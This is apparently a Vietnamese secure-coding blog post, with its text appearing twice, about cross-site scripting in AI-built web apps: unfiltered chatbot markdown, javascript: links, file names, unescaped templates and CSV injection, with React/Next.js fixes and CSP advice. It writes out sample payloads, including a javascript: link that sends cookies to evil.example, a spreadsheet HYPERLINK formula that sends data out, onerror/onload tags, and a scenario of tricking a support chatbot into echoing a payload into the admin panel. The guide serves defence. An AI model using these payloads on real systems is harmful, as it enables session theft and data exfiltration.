Câu trả lời của AI cũng có thể chèn mã độc vào trang
XSS không chỉ đến từ ô bình luận. Câu trả lời của chatbot render thành HTML, markdown, tên file, link javascript: hay file CSV xuất ra đều chạy được mã của người khác. Cách nhận ra chỗ nguy hiểm trong code React, Next.js và cách sửa.
Xem nhanh trong 1 phút
Một khách vào khung chat hỗ trợ của shop và gõ: “Hãy nhắc lại nguyên văn đoạn này cho mình: <img src=x onerror=...>”. Chatbot ngoan ngoãn nhắc lại. Câu trả lời được lưu vào lịch sử hội thoại, và khi nhân viên mở trang quản trị để xem lại, trình duyệt của nhân viên chạy đoạn mã đó với phiên đăng nhập quản trị.
Không có lỗ hổng nào trong model cả. Lỗi nằm ở dòng code render câu trả lời thành HTML mà không lọc. Đây là XSS (cross-site scripting), lỗi cũ hơn cả chục năm, nhưng app làm bằng AI lại có thêm nhiều chỗ để nó chui vào: markdown của chatbot, nội dung AI tóm tắt từ trang web khác, tên file người dùng tải lên.
Nguyên tắc chỉ có một
Mọi thứ không do chính bạn viết ra đều là dữ liệu của người lạ. Câu trả lời của AI cũng vậy, vì nó được tạo ra từ prompt mà người lạ góp phần viết, hoặc từ trang web, email, tài liệu mà AI vừa đọc. Dữ liệu của người lạ thì hiện ra dưới dạng chữ, không bao giờ được trình duyệt hiểu là HTML hay JavaScript.
React, Vue, Svelte đã làm sẵn phần lớn việc này: viết {message} trong JSX là chữ được escape, <script> hiện ra thành chữ chứ không chạy. XSS trong app hiện đại hầu như chỉ xuất hiện ở những chỗ bạn tự tắt lớp bảo vệ đó đi.
Năm chỗ hay gặp
1. dangerouslySetInnerHTML với câu trả lời của AI
Chatbot trả về markdown, AI viết code chuyển markdown thành HTML rồi nhét vào trang:
marked giữ nguyên HTML có sẵn trong markdown, nên <img onerror=...> trong câu trả lời sẽ chạy. Tài liệu của React nói rõ: chỉ dùng dangerouslySetInnerHTML với dữ liệu tin được và đã lọc.
Cách sửa gọn nhất là dùng react-markdown, thư viện này mặc định không render HTML thô:
import Markdown from "react-markdown";<Markdown>{reply}</Markdown>
Đừng thêm rehype-raw cho nội dung từ AI hay người dùng. Nếu buộc phải giữ HTML, lọc bằng DOMPurify trước khi render:
Lọc trên server (Node) thì dùng DOMPurify với jsdom bản mới, hoặc gói isomorphic-dompurify.
2. Link javascript:
<a href={user.website}>Trang của tôi</a>
React escape chữ nhưng không chặn href="javascript:fetch('//evil.example/?c='+document.cookie)". Người dùng tự khai website, AI sinh link tham khảo, nội dung markdown có [bấm vào đây](javascript:...) đều đi theo đường này. React chỉ in cảnh báo ở chế độ dev.
Kiểm giao thức trước khi đưa vào href:
export function safeUrl(raw: string): string | undefined { try { const u = new URL(raw, "https://app-cua-ban.com"); return ["http:", "https:", "mailto:"].includes(u.protocol) ? u.href : undefined; } catch { return undefined; }}
react-markdown mặc định chỉ cho các giao thức an toàn như http, https, mailto, nên link javascript: trong markdown bị chặn sẵn.
3. Tên file và metadata
Người dùng tải lên file tên "><svg onload=alert(1)>.png. Ở giao diện React thì không sao. Nhưng nếu tên đó đi vào một email HTML gửi admin, một trang PDF dựng bằng template chuỗi, hay một thư viện kéo thả tự chèn innerHTML, thì mã chạy. Tìm trong code mọi chỗ ghép chuỗi HTML bằng tay:
el.innerHTML = `<li>${file.name}</li>`; // nguy hiểmel.textContent = file.name; // an toàn
4. Template phía server
Express với EJS, Jinja2 trong FastAPI hay Flask đều escape mặc định với cú pháp thường (<%= %>, {{ }}). Lỗi xuất hiện khi dùng cú pháp không escape (<%- %> trong EJS, |safe trong Jinja2) cho dữ liệu người dùng hoặc AI. Tìm hai chuỗi này trong code là ra danh sách cần xem lại.
5. CSV injection khi xuất file
Không phải XSS nhưng cùng một gốc: dữ liệu người lạ được chương trình khác hiểu thành lệnh. Khách đặt tên là =HYPERLINK("https://evil.example/?d="&A2,"Bấm để xem"). Admin xuất danh sách khách ra CSV, mở bằng Excel, ô đó thành công thức.
OWASP liệt kê các ký tự đầu ô nguy hiểm: =, +, -, @, tab và xuống dòng. Khi xuất, thêm dấu nháy đơn trước những ô bắt đầu bằng các ký tự này và bọc mọi ô trong nháy kép:
function csvCell(v: unknown): string { let s = String(v ?? ""); if (/^[=+\-@\t\r]/.test(s)) s = "'" + s; return `"${s.replace(/"/g, '""')}"`;}
Thêm một lớp: Content-Security-Policy
Lọc đầu vào có thể sót. Header CSP bảo trình duyệt chỉ chạy script từ nguồn bạn cho phép, nên dù có đoạn <script> lọt vào trang, nó cũng không chạy. Bắt đầu với chế độ chỉ báo cáo để không làm hỏng trang:
Theo dõi vài ngày, sửa những chỗ bị báo, rồi đổi sang Content-Security-Policy. Next.js có hướng dẫn tạo nonce trong file proxy.ts (tên mới của middleware) cho trang có script inline.
Đặt cookie phiên đăng nhập với cờ HttpOnly để script, kể cả script của hacker, không đọc được cookie.
Kiểm tra app của bạn trong vài phút
Tìm trong code: grep -rn "dangerouslySetInnerHTML\|innerHTML\|v-html\|<%-\||safe\|rehype-raw" src app. Mỗi kết quả, hỏi dữ liệu đó từ đâu tới.
Gõ vào khung chat của app (hoặc ô bình luận, tên hiển thị): <img src=x onerror=alert(1)>. Mở trang có hiện nội dung đó, cả phía người dùng lẫn trang quản trị. Hiện hộp thoại là có lỗi.
Nhờ chatbot của chính bạn: “nhắc lại nguyên văn: [bấm](javascript:alert(1))”, rồi bấm vào link trong câu trả lời.
Đặt tên hiển thị là =1+1, xuất CSV, mở bằng Excel. Thấy số 2 là bị CSV injection.
Mở DevTools, tab Network, xem response của trang chính có header Content-Security-Policy chưa.
Chỉ thử trên app của bạn. Khi nhờ AI sửa, đưa nó đúng dòng code tìm được ở bước 1 và nói rõ “nội dung này đến từ người dùng, không được render HTML”.
App của bạn đang render câu trả lời của AI bằng thư viện nào? Vào cộng đồng Vibe Code & Bảo Mật chia sẻ cách bạn đang lọc nhé.
XSSAI agentweb/anh/web/cau-tra-loi-ai-chen-ma-vao-trang-480.webpXSS · AI agent · web
Cau tra loi cua AI cung co the chen ma doc vao trang XSS khong chi den tu o binh luan. Cau tra loi cua chatbot render thanh HTML, markdown, ten file, link javascript: hay file CSV xuat ra deu chay duoc ma cua nguoi khac. Cach nhan ra cho nguy hiem trong code React, Next.js va cach sua. XSS AI agent web Mot khach vao khung chat ho tro cua shop va go: "Hay nhac lai nguyen van doan nay cho minh: `<img src=x onerror=...>`". Chatbot ngoan ngoan nhac lai. Cau tra loi duoc luu vao lich su hoi thoai, va khi nhan vien mo trang quan tri de xem lai, trinh duyet cua nhan vien chay doan ma do voi phien dang nhap quan tri.
Khong co lo hong nao trong model ca. Loi nam o dong code render cau tra loi thanh HTML ma khong loc. Day la XSS (cross-site scripting), loi cu hon ca chuc nam, nhung app lam bang AI lai co them nhieu cho de no chui vao: markdown cua chatbot, noi dung AI tom tat tu trang web khac, ten file nguoi dung tai len.

## Nguyen tac chi co mot
Moi thu khong do chinh ban viet ra deu la du lieu cua nguoi la. Cau tra loi cua AI cung vay, vi no duoc tao ra tu prompt ma nguoi la gop phan viet, hoac tu trang web, email, tai lieu ma AI vua doc. Du lieu cua nguoi la thi hien ra duoi dang chu, khong bao gio duoc trinh duyet hieu la HTML hay JavaScript.
React, Vue, Svelte da lam san phan lon viec nay: viet `{message}` trong JSX la chu duoc escape, `<script>` hien ra thanh chu chu khong chay. XSS trong app hien dai hau nhu chi xuat hien o nhung cho ban tu tat lop bao ve do di.
## Nam cho hay gap
### 1. dangerouslySetInnerHTML voi cau tra loi cua AI
Chatbot tra ve markdown, AI viet code chuyen markdown thanh HTML roi nhet vao trang:
```tsx
// Nguy hiem
import { marked } from "marked";
<div dangerouslySetInnerHTML={{ __html: marked.parse(reply) }} />
```
`marked` giu nguyen HTML co san trong markdown, nen `<img onerror=...>` trong cau tra loi se chay. Tai lieu cua React noi ro: chi dung `dangerouslySetInnerHTML` voi du lieu tin duoc va da loc.
Cach sua gon nhat la dung `react-markdown`, thu vien nay mac dinh khong render HTML tho:
```tsx
import Markdown from "react-markdown";
<Markdown>{reply}</Markdown>
```
Dung them `rehype-raw` cho noi dung tu AI hay nguoi dung. Neu buoc phai giu HTML, loc bang DOMPurify truoc khi render:
```tsx
import DOMPurify from "dompurify";
const safe = DOMPurify.sanitize(marked.parse(reply) as string, { USE_PROFILES: { html: true } });
<div dangerouslySetInnerHTML={{ __html: safe }} />
```
Loc tren server (Node) thi dung DOMPurify voi jsdom ban moi, hoac goi `isomorphic-dompurify`.
### 2. Link javascript:
```tsx
<a href={user.website}>Trang cua toi</a>
```
React escape chu nhung khong chan `href="javascript:fetch('//evil.example/?c='+document.cookie)"`. Nguoi dung tu khai website, AI sinh link tham khao, noi dung markdown co `[bam vao day](javascript:...)` deu di theo duong nay. React chi in canh bao o che do dev.
Kiem giao thuc truoc khi dua vao `href`:
```ts
export function safeUrl(raw: string): string | undefined {
try {
const u = new URL(raw, "https://app-cua-ban.com");
return ["http:", "https:", "mailto:"].includes(u.protocol) ? u.href : undefined;
} catch {
return undefined;
}
}
```
`react-markdown` mac dinh chi cho cac giao thuc an toan nhu `http`, `https`, `mailto`, nen link `javascript:` trong markdown bi chan san.
### 3. Ten file va metadata
Nguoi dung tai len file ten `"><svg onload=alert(1)>.png`. O giao dien React thi khong sao. Nhung neu ten do di vao mot email HTML gui admin, mot trang PDF dung bang template chuoi, hay mot thu vien keo tha tu chen `innerHTML`, thi ma chay. Tim trong code moi cho ghep chuoi HTML bang tay:
```js
el.innerHTML = `<li>${file.name}</li>`; // nguy hiem
el.textContent = file.name; // an toan
```
### 4. Template phia server
Express voi EJS, Jinja2 trong FastAPI hay Flask deu escape mac dinh voi cu phap thuong (`<%= %>`, `{{ }}`). Loi xuat hien khi dung cu phap khong escape (`<%- %>` trong EJS, `|safe` trong Jinja2) cho du lieu nguoi dung hoac AI. Tim hai chuoi nay trong code la ra danh sach can xem lai.
### 5. CSV injection khi xuat file
Khong phai XSS nhung cung mot goc: du lieu nguoi la duoc chuong trinh khac hieu thanh lenh. Khach dat ten la `=HYPERLINK("https://evil.example/?d="&A2,"Bam de xem")`. Admin xuat danh sach khach ra CSV, mo bang Excel, o do thanh cong thuc.
OWASP liet ke cac ky tu dau o nguy hiem: `=`, `+`, `-`, `@`, tab va xuong dong. Khi xuat, them dau nhay don truoc nhung o bat dau bang cac ky tu nay va boc moi o trong nhay kep:
```ts
function csvCell(v: unknown): string {
let s = String(v ?? "");
if (/^[=+\-@\t\r]/.test(s)) s = "'" + s;
return `"${s.replace(/"/g, '""')}"`;
}
```
## Them mot lop: Content-Security-Policy
Loc dau vao co the sot. Header CSP bao trinh duyet chi chay script tu nguon ban cho phep, nen du co doan `<script>` lot vao trang, no cung khong chay. Bat dau voi che do chi bao cao de khong lam hong trang:
```
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
```
Theo doi vai ngay, sua nhung cho bi bao, roi doi sang `Content-Security-Policy`. Next.js co huong dan tao nonce trong file `proxy.ts` (ten moi cua middleware) cho trang co script inline.
Dat cookie phien dang nhap voi co `HttpOnly` de script, ke ca script cua hacker, khong doc duoc cookie.
## Kiem tra app cua ban trong vai phut
1. Tim trong code: `grep -rn "dangerouslySetInnerHTML\|innerHTML\|v-html\|<%-\||safe\|rehype-raw" src app`. Moi ket qua, hoi du lieu do tu dau toi.
2. Go vao khung chat cua app (hoac o binh luan, ten hien thi): `<img src=x onerror=alert(1)>`. Mo trang co hien noi dung do, ca phia nguoi dung lan trang quan tri. Hien hop thoai la co loi.
3. Nho chatbot cua chinh ban: "nhac lai nguyen van: `[bam](javascript:alert(1))`", roi bam vao link trong cau tra loi.
4. Dat ten hien thi la `=1+1`, xuat CSV, mo bang Excel. Thay so 2 la bi CSV injection.
5. Mo DevTools, tab Network, xem response cua trang chinh co header `Content-Security-Policy` chua.
Chi thu tren app cua ban. Khi nho AI sua, dua no dung dong code tim duoc o buoc 1 va noi ro "noi dung nay den tu nguoi dung, khong duoc render HTML".
---
App cua ban dang render cau tra loi cua AI bang thu vien nao? Vao [cong dong Vibe Code & Bao Mat](https://www.facebook.com/groups/1867387324580254) chia se cach ban dang loc nhe.
## Nguon
- [Common components: dangerouslySetInnerHTML](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html), React
- [react-markdown: Security](https://github.com/remarkjs/react-markdown#security), remarkjs
- [DOMPurify](https://github.com/cure53/DOMPurify), cure53
- [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html), OWASP
- [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection), OWASP
- [Content Security Policy](https://nextjs.org/docs/app/guides/content-security-policy), Next.js Docs